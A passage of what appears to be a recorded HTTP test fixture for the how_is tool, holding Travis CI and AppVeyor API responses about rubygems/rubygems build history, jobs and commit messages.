CAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzQ4NDQxODIwIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNDg0NDE4MjAKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzQ4NDQxODIxIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNDg0NDE4MjEKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzQ4NDQxODIyIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNDg0NDE4MjIKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzQ4NDQxODIzIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNDg0NDE4MjMKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzQ4NDQxODI0IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNDg0NDE4MjQKICAgICAgICB9CiAgICAgIF0sCiAgICAgICJzdGFnZXMiOiBbCgogICAgICBdLAogICAgICAiY3JlYXRlZF9ieSI6IHsKICAgICAgICAiQHR5cGUiOiAidXNlciIsCiAgICAgICAgIkBocmVmIjogIi91c2VyLzM3NjgwMiIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAzNzY4MDIsCiAgICAgICAgImxvZ2luIjogImJ1bmRsZXJib3QiCiAgICAgIH0sCiAgICAgICJ1cGRhdGVkX2F0IjogIjIwMTgtMDMtMDJUMjI6Mjc6MTQuMjg3WiIKICAgIH0sCiAgICB7CiAgICAgICJAdHlwZSI6ICJidWlsZCIsCiAgICAgICJAaHJlZiI6ICIvYnVpbGQvMzQ3NzQyNDg4IiwKICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJzdGFuZGFyZCIsCiAgICAgICJAcGVybWlzc2lvbnMiOiB7CiAgICAgICAgInJlYWQiOiB0cnVlLAogICAgICAgICJjYW5jZWwiOiBmYWxzZSwKICAgICAgICAicmVzdGFydCI6IGZhbHNlCiAgICAgIH0sCiAgICAgICJpZCI6IDM0Nzc0MjQ4OCwKICAgICAgIm51bWJlciI6ICI0NzIzIiwKICAgICAgInN0YXRlIjogInBhc3NlZCIsCiAgICAgICJkdXJhdGlvbiI6IDc2OTQsCiAgICAgICJldmVudF90eXBlIjogInB1c2giLAogICAgICAicHJldmlvdXNfc3RhdGUiOiAicGFzc2VkIiwKICAgICAgInB1bGxfcmVxdWVzdF90aXRsZSI6IG51bGwsCiAgICAgICJwdWxsX3JlcXVlc3RfbnVtYmVyIjogbnVsbCwKICAgICAgInN0YXJ0ZWRfYXQiOiAiMjAxOC0wMy0wMVQxMjozNzozOFoiLAogICAgICAiZmluaXNoZWRfYXQiOiAiMjAxOC0wMy0wMVQxMzowNDoxMVoiLAogICAgICAicmVwb3NpdG9yeSI6IHsKICAgICAgICAiQHR5cGUiOiAicmVwb3NpdG9yeSIsCiAgICAgICAgIkBocmVmIjogIi9yZXBvLzIyMjEiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMjIyMSwKICAgICAgICAibmFtZSI6ICJydWJ5Z2VtcyIsCiAgICAgICAgInNsdWciOiAicnVieWdlbXMvcnVieWdlbXMiCiAgICAgIH0sCiAgICAgICJicmFuY2giOiB7CiAgICAgICAgIkB0eXBlIjogImJyYW5jaCIsCiAgICAgICAgIkBocmVmIjogIi9yZXBvLzIyMjEvYnJhbmNoL21hc3RlciIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAibmFtZSI6ICJtYXN0ZXIiCiAgICAgIH0sCiAgICAgICJ0YWciOiBudWxsLAogICAgICAiY29tbWl0IjogewogICAgICAgICJAdHlwZSI6ICJjb21taXQiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMTAzNDUzNzkxLAogICAgICAgICJzaGEiOiAiMmI1YTZjMDBjMTZjNTA5N2U1NjY2MTI1OTk0MzBiNTczNDgyZjIxYyIsCiAgICAgICAgInJlZiI6ICJyZWZzL2hlYWRzL21hc3RlciIsCiAgICAgICAgIm1lc3NhZ2UiOiAiQXV0byBtZXJnZSBvZiAjMjIxNiAtIHJ1YnlnZW1zOnJlbW92ZS1kZXByZWNhdGVkLW1ldGhvZHMtZm9yLXJnMywgcj1oc2J0XG5cblJlbW92ZWQgZGVwcmVjYXRlZCBtZXRob2RzIG92ZXIgdGhlIHRoZSBsaW1pdCBkYXlcblxuIyBEZXNjcmlwdGlvbjpcblxuUmVtb3ZlZCBkZXByZWNhdGVkIG1ldGhvZHMgaW4gUnVieUdlbXMgMi43LiBUaGUgZGVhZGxpbmUgaGFzIHBhc3NlZCBsb25nIGFnby5cblxuX19fX19fX19fX19fX19cblxuIyBUYXNrczpcblxuLSBbeF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXG4tIFt4XSBXcml0ZSB0ZXN0c1xuLSBbIF0gV3JpdGUgY29kZSB0byBzb2x2ZSB0aGUgcHJvYmxlbVxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsCiAgICAgICAgImNvbXBhcmVfdXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlLzUxNzJkMmZlNmEyMS4uLjJiNWE2YzAwYzE2YyIsCiAgICAgICAgImNvbW1pdHRlZF9hdCI6ICIyMDE4LTAzLTAxVDEyOjEwOjMyWiIKICAgICAgfSwKICAgICAgImpvYnMiOiBbCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI0ODkiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjQ4OQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI0OTEiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjQ5MQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI0OTIiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjQ5MgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI0OTQiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjQ5NAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI0OTgiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjQ5OAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI1MDAiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjUwMAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI1MDIiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjUwMgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI1MDMiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjUwMwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI1MDQiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjUwNAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDc3NDI1MDUiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0Nzc0MjUwNQogICAgICAgIH0KICAgICAgXSwKICAgICAgInN0YWdlcyI6IFsKCiAgICAgIF0sCiAgICAgICJjcmVhdGVkX2J5IjogewogICAgICAgICJAdHlwZSI6ICJ1c2VyIiwKICAgICAgICAiQGhyZWYiOiAiL3VzZXIvMzc2ODAyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDM3NjgwMiwKICAgICAgICAibG9naW4iOiAiYnVuZGxlcmJvdCIKICAgICAgfSwKICAgICAgInVwZGF0ZWRfYXQiOiAiMjAxOC0wMy0wMVQxMzowNDoxMS40MDJaIgogICAgfSwKICAgIHsKICAgICAgIkB0eXBlIjogImJ1aWxkIiwKICAgICAgIkBocmVmIjogIi9idWlsZC8zNDc2OTMzOTMiLAogICAgICAiQHJlcHJlc2VudGF0aW9uIjogInN0YW5kYXJkIiwKICAgICAgIkBwZXJtaXNzaW9ucyI6IHsKICAgICAgICAicmVhZCI6IHRydWUsCiAgICAgICAgImNhbmNlbCI6IGZhbHNlLAogICAgICAgICJyZXN0YXJ0IjogZmFsc2UKICAgICAgfSwKICAgICAgImlkIjogMzQ3NjkzMzkzLAogICAgICAibnVtYmVyIjogIjQ3MjEiLAogICAgICAic3RhdGUiOiAicGFzc2VkIiwKICAgICAgImR1cmF0aW9uIjogODI4MSwKICAgICAgImV2ZW50X3R5cGUiOiAicHVzaCIsCiAgICAgICJwcmV2aW91c19zdGF0ZSI6ICJwYXNzZWQiLAogICAgICAicHVsbF9yZXF1ZXN0X3RpdGxlIjogbnVsbCwKICAgICAgInB1bGxfcmVxdWVzdF9udW1iZXIiOiBudWxsLAogICAgICAic3RhcnRlZF9hdCI6ICIyMDE4LTAzLTAxVDEwOjE2OjQ0WiIsCiAgICAgICJmaW5pc2hlZF9hdCI6ICIyMDE4LTAzLTAxVDEwOjQ3OjIyWiIsCiAgICAgICJyZXBvc2l0b3J5IjogewogICAgICAgICJAdHlwZSI6ICJyZXBvc2l0b3J5IiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMSIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAyMjIxLAogICAgICAgICJuYW1lIjogInJ1YnlnZW1zIiwKICAgICAgICAic2x1ZyI6ICJydWJ5Z2Vtcy9ydWJ5Z2VtcyIKICAgICAgfSwKICAgICAgImJyYW5jaCI6IHsKICAgICAgICAiQHR5cGUiOiAiYnJhbmNoIiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMS9icmFuY2gvbWFzdGVyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJuYW1lIjogIm1hc3RlciIKICAgICAgfSwKICAgICAgInRhZyI6IG51bGwsCiAgICAgICJjb21taXQiOiB7CiAgICAgICAgIkB0eXBlIjogImNvbW1pdCIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAxMDM0MzgxNzgsCiAgICAgICAgInNoYSI6ICI1MTcyZDJmZTZhMjEyMWVhMzVlOTBhZjAzNTJmNTk3MzIzMWJiZGRlIiwKICAgICAgICAicmVmIjogInJlZnMvaGVhZHMvbWFzdGVyIiwKICAgICAgICAibWVzc2FnZSI6ICJBdXRvIG1lcmdlIG9mICMyMjA2IC0gcnVieWdlbXM6cmVtb3ZlLWNvZGUtZm9yLXVuc3VwcG9ydGVkLXZlcnNpb25zLCByPWhzYnRcblxuUmVtb3ZlZCBuZWVkbGVzcyBjb25kaXRpb24gZm9yIG9sZCB2ZXJzaW9uIG9mIHJ1YnlcblxuIyBEZXNjcmlwdGlvbjpcblxuSSByZW1vdmVkIG5lZWRsZXNzIGNvbmRpdGlvbnMgZm9yIG9sZCB2ZXJzaW9ucyBvZiBSdWJ5LiBBZnRlciBtZXJnaW5nIHRoaXMsIEknbSBnb2luZyB0byByZW1vdmUgY29kZSByZWxhdGVkIGBzeWNrYCBwYXJzZXIuXG5fX19fX19fX19fX19fX1xuXG4jIFRhc2tzOlxuXG4tIFt4XSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gW3hdIFdyaXRlIHRlc3RzXG4tIFsgXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwKICAgICAgICAiY29tcGFyZV91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUvMThlZDlkYzhjZDMzLi4uNTE3MmQyZmU2YTIxIiwKICAgICAgICAiY29tbWl0dGVkX2F0IjogIjIwMTgtMDMtMDFUMDk6NDk6NDBaIgogICAgICB9LAogICAgICAiam9icyI6IFsKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzM5NCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzMzk0CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzM5NSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzMzk1CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzM5NiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzMzk2CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzM5NyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzMzk3CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzM5OCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzMzk4CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzM5OSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzMzk5CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzQwMCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzNDAwCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzQwMSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzNDAxCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzQwMiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzNDAyCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0NzY5MzQwMyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ3NjkzNDAzCiAgICAgICAgfQogICAgICBdLAogICAgICAic3RhZ2VzIjogWwoKICAgICAgXSwKICAgICAgImNyZWF0ZWRfYnkiOiB7CiAgICAgICAgIkB0eXBlIjogInVzZXIiLAogICAgICAgICJAaHJlZiI6ICIvdXNlci8zNzY4MDIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMzc2ODAyLAogICAgICAgICJsb2dpbiI6ICJidW5kbGVyYm90IgogICAgICB9LAogICAgICAidXBkYXRlZF9hdCI6ICIyMDE4LTAzLTAxVDEwOjQ3OjIzLjA0N1oiCiAgICB9CiAgXQp9 http_version: recorded_at: Fri, 30 Mar 2018 22:04:01 GMT - request: method: get uri: https://ci.appveyor.com/api/projects/rubygems/rubygems body: encoding: US-ASCII string: '' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/json User-Agent: - how_is/24.0.0 (https://github.com/how-is/how_is/) Host: - ci.appveyor.com response: status: code: 200 message: OK headers: Cache-Control: - no-cache Pragma: - no-cache Content-Type: - application/json; charset=utf-8 Expires: - "-1" X-Xss-Protection: - 1; mode=block X-Frame-Options: - SAMEORIGIN Strict-Transport-Security: - max-age=31536000 X-Content-Type-Options: - nosniff Date: - Fri, 30 Mar 2018 22:04:01 GMT Content-Length: - '4274' body: encoding: UTF-8 string: '{"project":{"projectId":170323,"accountId":34273,"accountName":"rubygems","builds":[],"name":"rubygems","slug":"rubygems","repositoryType":"gitHub","repositoryScm":"git","repositoryName":"rubygems/rubygems","repositoryBranch":"master","isPrivate":false,"skipBranchesWithoutAppveyorYml":false,"enableSecureVariablesInPullRequests":false,"enableSecureVariablesInPullRequestsFromSameRepo":false,"enableDeploymentInPullRequests":false,"saveBuildCacheInPullRequests":false,"rollingBuilds":false,"rollingBuildsDoNotCancelRunningBuilds":false,"rollingBuildsOnlyForPullRequests":false,"alwaysBuildClosedPullRequests":false,"tags":"","nuGetFeed":{"id":"rubygems-ix2ql9krv84w","name":"Project rubygems","accountId":34273,"projectId":170323,"isPrivateProject":false,"publishingEnabled":false,"created":"2016-02-12T07:02:43.5306142+00:00"},"created":"2016-02-12T07:02:42.0306686+00:00"},"build":{"buildId":14894944,"jobs":[{"jobId":"4ohxfp01n15vb51w","name":"Environment: ruby_version=22","osType":"Windows","allowFailure":false,"messagesCount":0,"compilationMessagesCount":0,"compilationErrorsCount":0,"compilationWarningsCount":0,"testsCount":0,"passedTestsCount":0,"failedTestsCount":0,"artifactsCount":0,"status":"success","started":"2018-03-30T20:01:55.4089214+00:00","finished":"2018-03-30T20:04:38.5996273+00:00","created":"2018-03-30T20:01:46.0796+00:00","updated":"2018-03-30T20:04:38.5996273+00:00"},{"jobId":"4reu3et7896s377r","name":"Environment: ruby_version=22-x64, GIT=C:/git/cmd/git.exe","osType":"Windows","allowFailure":false,"messagesCount":0,"compilationMessagesCount":0,"compilationErrorsCount":0,"compilationWarningsCount":0,"testsCount":0,"passedTestsCount":0,"failedTestsCount":0,"artifactsCount":0,"status":"success","started":"2018-03-30T20:04:48.9469426+00:00","finished":"2018-03-30T20:07:54.9958517+00:00","created":"2018-03-30T20:01:46.4077067+00:00","updated":"2018-03-30T20:07:54.9958517+00:00"},{"jobId":"nwumbxdmb47hlmpu","name":"Environment: ruby_version=23-x64, GIT=C:/git/cmd/git.exe","osType":"Windows","allowFailure":false,"messagesCount":0,"compilationMessagesCount":0,"compilationErrorsCount":0,"compilationWarningsCount":0,"testsCount":0,"passedTestsCount":0,"failedTestsCount":0,"artifactsCount":0,"status":"success","started":"2018-03-30T20:08:03.3237448+00:00","finished":"2018-03-30T20:11:21.0103992+00:00","created":"2018-03-30T20:01:46.7201928+00:00","updated":"2018-03-30T20:11:21.0103992+00:00"},{"jobId":"2yhd27cee6kfdh3v","name":"Environment: ruby_version=24-x64, GIT=C:/git/cmd/git.exe","osType":"Windows","allowFailure":false,"messagesCount":0,"compilationMessagesCount":0,"compilationErrorsCount":0,"compilationWarningsCount":0,"testsCount":0,"passedTestsCount":0,"failedTestsCount":0,"artifactsCount":0,"status":"success","started":"2018-03-30T20:11:27.209592+00:00","finished":"2018-03-30T20:14:23.7164515+00:00","created":"2018-03-30T20:01:47.0326869+00:00","updated":"2018-03-30T20:14:23.7164515+00:00"},{"jobId":"ora5a3nwjvrcaj5t","name":"Environment: ruby_version=_trunk, GIT=C:/git/cmd/git.exe","osType":"Windows","allowFailure":false,"messagesCount":0,"compilationMessagesCount":0,"compilationErrorsCount":0,"compilationWarningsCount":0,"testsCount":0,"passedTestsCount":0,"failedTestsCount":0,"artifactsCount":0,"status":"success","started":"2018-03-30T20:14:40.2504316+00:00","finished":"2018-03-30T20:18:00.3635145+00:00","created":"2018-03-30T20:01:47.345193+00:00","updated":"2018-03-30T20:18:00.3635145+00:00"}],"buildNumber":1048,"version":"1048","message":"Auto merge of #2249 - rubygems:fix_no_proxy, r=bronzdoc","messageExtended":"Fix no proxy checking\n\n# Description:\ncloses https://github.com/rubygems/rubygems/issues/1643\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"91c72d5a80885fb6af3187a68668e762bf233d3c","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-03-30T19:36:40+00:00","messages":[],"status":"success","started":"2018-03-30T20:01:56.1573416+00:00","finished":"2018-03-30T20:18:00.4103941+00:00","created":"2018-03-30T20:01:44.9233556+00:00","updated":"2018-03-30T20:18:00.4103941+00:00"}}' http_version: recorded_at: Fri, 30 Mar 2018 22:04:02 GMT - request: method: get uri: https://ci.appveyor.com/api/projects/rubygems/rubygems/history?recordsNumber=100 body: encoding: US-ASCII string: '' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/json User-Agent: - how_is/24.0.0 (https://github.com/how-is/how_is/) Host: - ci.appveyor.com response: status: code: 200 message: OK headers: Cache-Control: - no-cache Pragma: - no-cache Content-Type: - application/json; charset=utf-8 Expires: - "-1" X-Xss-Protection: - 1; mode=block X-Frame-Options: - SAMEORIGIN Strict-Transport-Security: - max-age=31536000 X-Content-Type-Options: - nosniff Date: - Fri, 25 May 2018 15:54:58 GMT Content-Length: - '87612' body: encoding: UTF-8 string: '{"project":{"projectId":170323,"accountId":34273,"accountName":"rubygems","builds":[],"name":"rubygems","slug":"rubygems","repositoryType":"gitHub","repositoryScm":"git","repositoryName":"rubygems/rubygems","isPrivate":false,"skipBranchesWithoutAppveyorYml":false,"enableSecureVariablesInPullRequests":false,"enableSecureVariablesInPullRequestsFromSameRepo":false,"enableDeploymentInPullRequests":false,"saveBuildCacheInPullRequests":false,"rollingBuilds":false,"rollingBuildsDoNotCancelRunningBuilds":false,"rollingBuildsOnlyForPullRequests":false,"alwaysBuildClosedPullRequests":false,"tags":"","created":"2016-02-12T07:02:42.0306686+00:00"},"builds":[{"buildId":16120602,"jobs":[],"buildNumber":1177,"version":"1177","message":"Update molinillo-0.6.5","branch":"master","isTag":false,"commitId":"aa41419fa36a190d5959fc04daec6d261ecc848a","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-04-17T00:54:48+00:00","pullRequestId":"2026","pullRequestName":"Update Molinillo 0.6.3 same as bundler-1.16.0","messages":[],"status":"failed","started":"2018-05-25T10:08:48.8604966+00:00","finished":"2018-05-25T10:19:01.528465+00:00","created":"2018-05-25T09:59:28.960027+00:00","updated":"2018-05-25T10:19:01.528465+00:00"},{"buildId":16120597,"jobs":[],"buildNumber":1176,"version":"1176","message":"Update molinillo-0.6.5","branch":"molinillo-0-6-3","isTag":false,"commitId":"00790d912f827b28f3340cae1c06d33dc0aa32df","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-05-25T09:59:06+00:00","messages":[],"status":"failed","started":"2018-05-25T09:59:44.3405376+00:00","finished":"2018-05-25T10:08:36.8584096+00:00","created":"2018-05-25T09:59:25.2886999+00:00","updated":"2018-05-25T10:08:36.8584096+00:00"},{"buildId":16115233,"jobs":[],"buildNumber":1175,"version":"1175","message":"Reset hooks in test cases","branch":"master","isTag":false,"commitId":"5ce25d2bc419c2ef397abf3ecfee37954c77a258","authorName":"Samuel Giddins","authorUsername":"segiddins","committerName":"Samuel Giddins","committerUsername":"segiddins","committed":"2018-05-21T04:31:29+00:00","pullRequestId":"2297","pullRequestName":"Reset hooks in test cases","messages":[],"status":"failed","started":"2018-05-25T04:15:08.9688199+00:00","finished":"2018-05-25T04:23:29.2030621+00:00","created":"2018-05-25T04:14:54.8491895+00:00","updated":"2018-05-25T04:23:29.2030621+00:00"},{"buildId":16026118,"jobs":[],"buildNumber":1174,"version":"1174","message":"Auto merge of #2298 - frunkad:patch-1, r=hsbt","messageExtended":"Minor typo: nokogiri\n\n# Description:\nThere was a minor typo in the work nokogiri\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"3ae4e5fd59c853a2528bebe6ec962b8afcb89f8d","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-21T22:04:50+00:00","messages":[],"status":"failed","started":"2018-05-21T22:33:10.1702344+00:00","finished":"2018-05-21T22:41:39.4547069+00:00","created":"2018-05-21T22:32:58.744377+00:00","updated":"2018-05-21T22:41:39.4547069+00:00"},{"buildId":16025676,"jobs":[],"buildNumber":1173,"version":"1173","message":"Auto merge of #2298 - frunkad:patch-1, r=hsbt","messageExtended":"Minor typo: nokogiri\n\n# Description:\nThere was a minor typo in the work nokogiri\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"3ae4e5fd59c853a2528bebe6ec962b8afcb89f8d","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-21T22:04:50+00:00","messages":[],"status":"failed","started":"2018-05-21T22:05:12.5190105+00:00","finished":"2018-05-21T22:13:53.6116519+00:00","created":"2018-05-21T22:04:58.774068+00:00","updated":"2018-05-21T22:13:53.6116519+00:00"},{"buildId":16015816,"jobs":[],"buildNumber":1172,"version":"1172","message":"appveyor.yml 